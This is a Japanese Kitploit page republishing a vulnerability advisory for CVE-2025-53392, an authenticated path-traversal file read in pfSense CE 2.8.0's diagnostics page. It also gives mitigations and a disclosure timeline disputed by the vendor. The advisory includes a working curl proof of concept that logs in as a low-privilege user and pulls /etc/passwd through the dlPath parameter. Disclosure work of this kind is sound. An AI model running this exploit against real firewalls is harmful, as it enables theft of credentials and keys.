Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pfsense-security-research — 認証済み任意ファイル読み取り - pfSense 2.8.0の診断Webインターフェースを介した (CVE-2025-53392) | Kitploit
ツール/GitHubGitHub/skraft9/pfsense-security-research
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストレッドチーミング
GitHubskraft9/pfsense-security-research

pfsense-security-research

認証済み任意ファイル読み取り - pfSense 2.8.0の診断Webインターフェースを介した (CVE-2025-53392)

リポジトリを見る
147ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

pfSense 2.8.0 の診断Webインターフェースにおける認証済み任意ファイル読み取り

CVE ID: CVE-2025-53392

日付: 2025-06-27

著者: Seth Kraft

ベンダーホームページ: https://www.netgate.com/

ベンダーチェンジログ: https://docs.netgate.com/pfsense/en/latest/releases/

ソフトウェアリンク: https://www.pfsense.org/download/

バージョン: pfSense CE 2.8.0

CWE ID: CWE-36 (絶対パストラバーサル)

CVSS基本スコア: 6.5 (Medium)

ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

タイプ: 認証済み任意ファイル読み取り / ローカルファイル開示


許可

認可されたテストおよび研究目的のみに使用してください。 所有していない、または明示的なテスト許可を得ていないシステムでこの脆弱性をテストまたは悪用しないでください。


概要

pfSense CE 2.8.0 には、診断ページ diag_command.php にローカルファイル開示の脆弱性が存在します。これにより、認証されたユーザーが基盤となるファイルシステムから任意のファイルをダウンロードできます。

この機能には、パスのサニタイズ、ディレクトリ制限、または権限割り当て以外のアクセス制御がまったくありません。


詳細

脆弱なロジックは src/usr/local/www/diag_command.php ファイルにあります:

root@kitploit:~
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
    session_cache_limiter('public');
    send_user_download('file', $_POST['dlPath']);
}

ユーザー制御の dlPath パラメータにはセキュリティチェックやサニタイズ対策が適用されていません。

PHP プロセスが読み取り可能なファイルパスはすべて、ユーザーにそのまま提供されます。


概念実証

low-priv グループを作成し、単一の権限を割り当てる (WebCfg - Diagnostics: Command) スクリーンショット 2025-06-27 133201

WebCfg - Diagnostics: Command 権限にセキュリティ免責事項が存在することは認識していますが、免責事項だけでは適切なアクセス制御の代わりになりません。

「診断コマンドページへのアクセスを許可する」という表現は曖昧であり、リスクを過小評価しています。これは診断アクセスではなく、無制限のルートレベルコマンド実行を可能にします。

Web インターフェースの権限ラベルは、特に完全な管理制御を公開する場合には、許可するアクションの範囲と重大度を正確に反映しなければなりません。

dev ユーザーに low-priv グループを割り当てる スクリーンショット 2025-06-27 133218

この概念実証では、WebCfg - Diagnostics: Command 権限のみが割り当てられたユーザーが、サニタイズされていない dlPath パラメータを悪用して /etc/passwd を外部に持ち出せることを示します。

root@kitploit:~
# 1. セッションを開始し、CSRFトークンを抽出
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. 低権限ユーザー "dev" として認証
curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. ログイン後のCSRFトークンを取得
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. 任意のファイルを外部に持ち出す(例:/etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"

デモ

pfSense 認証済みファイル開示 PoC


影響

WebCfg - Diagnostics: Command 権限が割り当てられた pfSense ユーザーは以下を実行できます:

  • 機密性の高いローカルシステムファイルの読み取り
  • バックアップ、認証情報、キーの抽出
  • 意図された権限をはるかに超えたファイルへのアクセス

これは最小権限の原則に違反し、論理的な権限境界を破ります。


推奨される緩和策

  1. realpath() とプレフィックス強制を使用して dlPath を安全なベースディレクトリ(例:/tmp)に制限する
  2. .. または絶対パスを含むパスを削除またはブロックする
  3. セーフリストまたは一時的なアーティファクトディレクトリ内のファイルのみダウンロードを許可する

開示のタイムライン

  • 2025-06-26: 脆弱性を Netgate に報告
  • 2025-06-27: Netgate が応答し、意図された動作であるとして問題を却下
  • 2025-06-27: 研究者が技術的反論で応答したが、ベンダーは却下を繰り返し
  • 2025-06-27: 最終的なベンダーの却下により研究者が公開開示を開始し、MITRE に CVE 割り当てを要請
  • 2025-06-28: MITRE が CVE-2025-53392 を割り当て、ベンダーの異議ありタグ付き

Netgate からの応答

ベンダーはこのページへのアクセスはルート権限と同等であると主張していますが、これは Web レベルの権限と無制限のバックエンドアクセスを混同しています。

権限は技術的に強制されるべきであり(想定されるべきではない)、UI の警告はセキュアな設計の代わりにはなりません。


ベンダーの「この機能は十分に文書化されている」という主張に異議を唱えます。WebCfg - Diagnostics: Command 権限がルートレベルのアクセスと同等であるという言及は、pfSense のユーザー権限ドキュメントには見つかりませんでした。 スクリーンショット 2025-06-28 235613


ベンダーは診断コマンドページを参照していた可能性があります。そこには誤用に関する一般的な警告が含まれています。

しかし、ドキュメントではこの機能を WebCfg - Diagnostics: Command 権限に明示的に結び付けたり、ルートレベルのアクセスを許可することを明確にしたりしていません。


診断インターフェースのセキュリティ要件

ファイアウォールの Web インターフェース内の診断モジュールには、基盤となるオペレーティングシステムに対する悪用を防ぐための適切な保護策が含まれている必要があります。

  • 診断コマンドは、ping、traceroute、ログ表示などに機能的に制限されるべき
  • コマンドは制限付きシェルまたは chroot 内で実行されるべき
  • ファイルアクセスは安全なディレクトリ(/tmp, /var/log)に明示的にスコープされるべき
  • 権限はきめ細かく、範囲が明確であるべき

免責事項

この作業は私の雇用外で行われたものであり、サイバーセキュリティ研究における個人的な取り組みを反映しています。

ツールをダウンロード